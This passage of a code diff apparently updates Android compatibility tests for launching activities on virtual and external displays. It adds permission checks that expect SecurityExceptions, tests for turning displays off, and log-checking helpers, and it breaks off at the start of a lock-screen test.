 import java.util.regex.Pattern;
 
 import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.cts.ActivityManagerState.STATE_PAUSED;
 import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.ActivityManagerState.STATE_STOPPED;
 import static android.server.cts.StateLogger.log;
 import static android.server.cts.StateLogger.logE;
 
@@ -44,14 +47,18 @@
     private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
     private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
     private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
+    private static final String SECOND_ACTIVITY_NO_EMBEDDING_NAME = "SecondActivityNoEmbedding";
     private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
     private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
+    private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
     private static final String SECOND_PACKAGE_NAME = "android.server.cts.second";
     private static final String THIRD_PACKAGE_NAME = "android.server.cts.third";
     private static final String VR_UNIQUE_DISPLAY_ID =
             "virtual:android:277f1a09-b88d-4d1e-8716-796f114d080b";
     private static final String VR_STANDALONE_DEVICE_PROPERTY = "ro.boot.vr";
 
+    private DisplayHelper mExternalDisplayHelper;
+
     /** Physical display metrics and overrides in the beginning of the test. */
     private ReportedDisplayMetrics mInitialDisplayMetrics;
 
@@ -74,6 +81,11 @@
         try {
             enablePersistentVrMode(false);
             restoreDisplayMetricsOverrides();
+            if (mExternalDisplayHelper != null) {
+                mExternalDisplayHelper.releaseDisplay();
+                mExternalDisplayHelper = null;
+            }
+            setPrimaryDisplayState(true);
         } catch (DeviceNotAvailableException e) {
             logE(e.getMessage());
         }
@@ -495,24 +507,27 @@
         if (!supportsMultiDisplay()) { return; }
 
         // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
 
         // Launch activity on new secondary display.
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
         mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                LAUNCHING_ACTIVITY);
+                BROADCAST_RECEIVER_ACTIVITY);
 
         // Check that launching activity is on the secondary display.
         int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
         ActivityManagerState.ActivityStack frontStack =
                 mAmWmState.getAmState().getStackById(frontStackId);
         assertEquals("Launched activity must be on the secondary display and resumed",
-                getActivityComponentName(LAUNCHING_ACTIVITY),
+                getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
                 frontStack.mResumedActivity);
         mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
 
         // Launch non-resizeable activity from secondary display.
-        getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME).execute();
+        executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+                + "--ez new_task true --es target_activity " + NON_RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
 
         // Check that non-resizeable activity is on the secondary display, because of the resizeable
         // root of the task.
@@ -564,10 +579,10 @@
     }
 
     /**
-     * Tests launching a not embedded activity on virtual display. It should land on the
-     * default display.
+     * Tests launching an activity on a virtual display without special permission must not be
+     * allowed.
      */
-    public void testLaunchNotEmbeddedOnVirtualDisplay() throws Exception {
+    public void testLaunchWithoutPermissionOnVirtualDisplay() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
         // Create new virtual display.
@@ -575,34 +590,17 @@
 
         final String logSeparator = clearLogcat();
 
-        // Launch other activity with different uid and check it is launched on primary display.
-        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        // Try to launch an activity and check it security exception was triggered.
+        final String broadcastTarget = "-a " + SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION"
+                + " -p " + SECOND_PACKAGE_NAME;
         final String includeStoppedPackagesFlag = " -f 0x00000020";
-        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
-                + " --ei target_display " + newDisplay.mDisplayId + includeStoppedPackagesFlag
+        executeShellCommand("am broadcast " + broadcastTarget
+                + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
                 + " --es package_name " + componentName
-                + " --es target_activity " + TEST_ACTIVITY_NAME);
+                + " --ei display_id " + newDisplay.mDisplayId
+                + includeStoppedPackagesFlag);
 
-        int tries = 0;
-        boolean match = false;
-        final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
-        while (tries < 5 && !match) {
-            String[] logs = getDeviceLogsForComponent("LaunchBroadcastReceiver", logSeparator);
-            for (String line : logs) {
-                Matcher m = pattern.matcher(line);
-                if (m.matches()) {
-                    match = true;
-                    break;
-                }
-            }
-            tries++;
-            try {
-                Thread.sleep(500);
-            } catch (InterruptedException e) {
-            }
-        }
-
-        assertTrue("Expected exception not found", match);
+        assertSecurityException("LaunchBroadcastReceiver", logSeparator);
 
         mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
         assertFalse("Restricted activity must not be launched",
@@ -610,6 +608,37 @@
     }
 
     /**
+     * Tests launching an activity on a virtual display without special permission must be allowed
+     * for activities with same UID.
+     */
+    public void testLaunchWithoutPermissionOnVirtualDisplayByOwner() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Try to launch an activity and check it security exception was triggered.
+        final String broadcastTarget = "-a " + componentName + ".LAUNCH_BROADCAST_ACTION"
+                + " -p " + componentName;
+        executeShellCommand("am broadcast " + broadcastTarget
+                + " --ez launch_activity true --es target_activity " + TEST_ACTIVITY_NAME
+                + " --es package_name " + componentName
+                + " --ei display_id " + newDisplay.mDisplayId);
+
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack = mAmWmState.getAmState()
+                .getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+        assertEquals("Activity launched by owner must be on external display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /**
      * Tests launching an activity on virtual display and then launching another activity via shell
      * command and without specifying the display id - the second activity must appear on the
      * primary display.
@@ -647,7 +676,7 @@
     }
 
     /**
-     * Tests launching an activity on virtual display and then launching another activity from the
+     * Tests launching an activity on simulated display and then launching another activity from the
      * first one - it must appear on the secondary display, because it was launched from there.
      */
     @Presubmit
@@ -655,6 +684,37 @@
         if (!supportsMultiDisplay()) { return; }
 
         // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+                LAUNCHING_ACTIVITY);
+
+        // Launch second activity from app on secondary display without specifying display id.
+        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity from the
+     * first one - it must appear on the secondary display, because it was launched from there.
+     */
+    public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
         final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
 
         // Launch activity on new secondary display.
@@ -678,6 +738,112 @@
     }
 
     /**
+     * Tests launching an activity on virtual display and then launching another activity from the
+     * first one with specifying the target display - it must appear on the secondary display.
+     */
+    public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+                LAUNCHING_ACTIVITY);
+
+        // Launch second activity from app on secondary display specifying same display id.
+        getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
+                .setTargetPackage(SECOND_PACKAGE_NAME)
+                .setDisplayId(newDisplay.mDisplayId).execute();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
+                SECOND_ACTIVITY_NAME);
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+
+        // Launch other activity with different uid and check if it has launched successfully.
+        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+                + " --ei display_id " + newDisplay.mDisplayId
+                + " --es target_activity " + THIRD_ACTIVITY_NAME
+                + " --es package_name " + THIRD_PACKAGE_NAME);
+        mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
+                THIRD_ACTIVITY_NAME);
+        frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity that
+     * doesn't allow embedding - it should fail with security exception.
+     */
+    public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+                LAUNCHING_ACTIVITY);
+
+        final String logSeparator = clearLogcat();
+
+        // Launch second activity from app on secondary display specifying same display id.
+        getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
+                .setTargetPackage(SECOND_PACKAGE_NAME)
+                .setDisplayId(newDisplay.mDisplayId).execute();
+
+        assertSecurityException("ActivityLauncher", logSeparator);
+    }
+
+    /**
+     * Tests launching an activity to secondary display from activity on primary display.
+     */
+    public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Start launching activity.
+        launchActivity(LAUNCHING_ACTIVITY);
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        // Launch activity on secondary display from the app on primary display.
+        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
+                .setDisplayId(newDisplay.mDisplayId).execute();
+
+        // Check that activity is launched on external display.
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+    }
+
+    /**
      * Tests launching activities on secondary and then on primary display to see if the stack
      * visibility is not affected.
      */
@@ -792,7 +958,6 @@
         // Finish probing activity.
         executeShellCommand(FINISH_ACTIVITY_BROADCAST);
 
-
         tryCreatingAndRemovingDisplayWithActivity(false /* splitScreen */, focusedStackId);
     }
 
@@ -898,8 +1063,8 @@
                 VIRTUAL_DISPLAY_ACTIVITY);
     }
 
-    /** Test that system is allowed to launch on secondary displays. */
-    public void testPermissionLaunchFromSystem() throws Exception {
+    /** Test that shell is allowed to launch on secondary displays. */
+    public void testPermissionLaunchFromShell() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
         // Create new virtual display.
@@ -938,11 +1103,53 @@
                 externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
     }
 
+    /** Test that launching from app that is on external display is allowed. */
+    public void testPermissionLaunchFromAppOnSecondary() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
+
+        // Launch activity with different uid on secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+        final String displayTarget = " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd + displayTarget);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Launch another activity with third different uid from app on secondary display and check
+        // it is launched on secondary display.
+        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
+                + " --es package_name " + THIRD_PACKAGE_NAME
+                + " --ei display_id " + newDisplay.mDisplayId;
+        final String includeStoppedPackagesFlag = " -f 0x00000020";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+                + targetActivity + includeStoppedPackagesFlag);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
+        assertEquals("Activity launched by app on secondary display must be on that display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
     /** Tests that an activity can launch an activity from a different UID into its own task. */
     public void testPermissionLaunchMultiUidTask() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
 
         launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
         mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
@@ -969,6 +1176,50 @@
     }
 
     /**
+     * Test that launching from display owner is allowed even when the the display owner
+     * doesn't have anything on the display.
+     */
+    public void testPermissionLaunchFromOwner() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch other activity with different uid on secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+        final String displayTarget = " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd + displayTarget);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Check that owner uid can launch its own activity on secondary display.
+        final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
+                + " --ez launch_activity true --ez new_task true --ez multiple_task true"
+                + " --ei display_id " + newDisplay.mDisplayId);
+
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+        assertEquals("Activity launched by owner must be on external display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /**
      * Test that launching from app that is not present on external display and doesn't own it to
      * that external display is not allowed.
      */
@@ -999,17 +1250,28 @@
 
         final String logSeparator = clearLogcat();
 
-        // Launch other activity with different uid and check it is launched on primary display.
+        // Launch other activity with different uid and check security exception is triggered.
         final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
         final String includeStoppedPackagesFlag = " -f 0x00000020";
         executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
-                + " --ei target_display " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+                + " --ei display_id " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
 
+        assertSecurityException("LaunchBroadcastReceiver", logSeparator);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+        mAmWmState.assertFocusedActivity(
+                "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
+        assertEquals("Focused stack must be on secondary display's stack",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    private void assertSecurityException(String component, String logSeparator) throws Exception {
         int tries = 0;
         boolean match = false;
         final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
         while (tries < 5 && !match) {
-            String[] logs = getDeviceLogsForComponent("LaunchBroadcastReceiver", logSeparator);
+            String[] logs = getDeviceLogsForComponent(component, logSeparator);
             for (String line : logs) {
                 Matcher m = pattern.matcher(line);
                 if (m.matches()) {
@@ -1025,13 +1287,25 @@
         }
 
         assertTrue("Expected exception not found", match);
+    }
 
-        mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-        mAmWmState.assertFocusedActivity(
-                "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
-        assertEquals("Focused stack must be on secondary display's stack",
-                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    /**
+     * Test that only private virtual display can show content with insecure keyguard.
+     */
+    public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
+        if (!supportsMultiDisplay()) {
+            return;
+        }
+
+        // Try to create new show-with-insecure-keyguard public virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+                .setPublicDisplay(true)
+                .setCanShowWithInsecureKeyguard(true)
+                .setMustBeCreated(false)
+                .build();
+
+        // Check that the display is not created.
+        assertNull(newDisplay);
     }
 
     /**
@@ -1314,7 +1588,8 @@
     public void testNewTaskSameDisplay() throws Exception {
         if (!supportsMultiDisplay()) { return; }
 
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+                .build();
 
         launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
         mAmWmState.computeState(mDevice, new String[] {BROADCAST_RECEIVER_ACTIVITY});
@@ -1403,6 +1678,235 @@
         // All overrides will be cleared in tearDown.
     }
 
+    /**
+     * Tests than an immediate launch after new display creation is handled correctly.
+     */
+    public void testImmediateLaunchOnNewDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display and immediately launch an activity on it.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+                .setLaunchActivity(TEST_ACTIVITY_NAME).build();
+
+        // Check that activity is launched and placed correctly.
+        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+        mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+    }
+
+    /**
+     * Tests that turning the primary display off does not affect the activity running
+     * on an external secondary display.
+     */
+    public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch something on the primary display so we know there is a resumed activity there
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                true /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the activity is launched onto the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+
+        setPrimaryDisplayState(false);
+
+        // Wait for the fullscreen stack to start sleeping, and then make sure the
+        // test activity is still resumed. Note that on some devices, the top activity may go to
+        // the stopped state by itself on sleep, causing the server side to believe it is still
+        // paused.
+        waitAndAssertActivityPausedOrStopped(RESIZEABLE_ACTIVITY_NAME,
+                "Activity launched on primary display must be stopped or paused after turning off");
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+    }
+
+    /**
+     * Tests that an activity can be launched on a secondary display while the primary
+     * display is off.
+     */
+    public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch something on the primary display so we know there is a resumed activity there
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+
+        setPrimaryDisplayState(false);
+
+        // Make sure there is no resumed activity when the primary display is off
+        waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+                "Activity launched on primary display must be stopped after turning off");
+        assertEquals("Unexpected resumed activity",
+                0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                true /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the test activity is resumed on the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+    }
+
+    /**
+     * Tests that turning the secondary display off stops activities running on that display.
+     */
+    public void testExternalDisplayToggleState() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                false /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the test activity is resumed on the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+
+        mExternalDisplayHelper.turnDisplayOff();
+
+        // Check that turning off the external display stops the activity
+        waitAndAssertActivityStopped(TEST_ACTIVITY_NAME,
+                "Activity launched on external display must be stopped after turning off");
+
+        mExternalDisplayHelper.turnDisplayOn();
+
+        // Check that turning on the external display resumes the activity
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+    }
+
+    /**
+     * Tests that tapping on the primary display after showing the keyguard resumes the
+     * activity on the primary display.
+     */
+    public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch something on the primary display so we know there is a resumed activity there
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+
+        sleepDevice();
+
+        // Make sure there is no resumed activity when the primary display is off
+        waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+                "Activity launched on primary display must be stopped after turning off");
+        assertEquals("Unexpected resumed activity",
+                0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+        final DisplayState newDisplay = createExternalVirtualDisplay(
+                true /* showContentWhenLocked */);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        // Check that the test activity is resumed on the external display
+        waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+                "Activity launched on external display must be resumed");
+
+        // Unlock the device and tap on the middle of the primary display
+        wakeUpDevice();
+        executeShellCommand("wm dismiss-keyguard");
+        final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+        final int width = displayMetrics.getWidth();
+        final int height = displayMetrics.getHeight();
+        executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+        // Check that the activity on the primary display is resumed
+        waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+                "Activity launched on primary display must be resumed");
+        assertEquals("Unexpected resumed activity",
+                1, mAmWmState.getAmState().getResumedActivitiesCount());
+    }
+
+    private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
+            throws Exception {
+        mAmWmState.waitForActivityState(mDevice, activityName, STATE_RESUMED);
+
+        final String fullActivityName = getActivityComponentName(activityName);
+        assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
+        ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals(message, fullActivityName, firstFrontStack.mResumedActivity);
+        assertTrue(message,
+                mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
+        mAmWmState.assertFocusedStack("Focus must be on external display", frontStackId);
+        mAmWmState.assertVisibility(activityName, true /* visible */);
+    }
+
+    private void waitAndAssertActivityStopped(String activityName, String message)
+            throws Exception {
+        waitAndAssertActivityState(activityName, message, STATE_STOPPED);
+    }
+
+    private void waitAndAssertActivityPausedOrStopped(String activityName, String message)
+            throws Exception {
+        waitAndAssertActivityState(activityName, message, STATE_PAUSED, STATE_STOPPED);
+    }
+
+    private void waitAndAssertActivityState(String activityName, String message, String... states)
+            throws Exception {
+        mAmWmState.waitForActivityState(mDevice, activityName, states);
+
+        boolean stateFound = false;
+
+        for (String state : states) {
+            if (mAmWmState.getAmState().hasActivityState(activityName, state)) {
+                stateFound = true;
+                break;
+            }
+        }
+
+        assertTrue(message, stateFound);
+    }
+
+    /**
+     * Tests that showWhenLocked works on a secondary display.
+     */
+    public void testSecondaryDisplayShowWhenLocked() throws Exception {
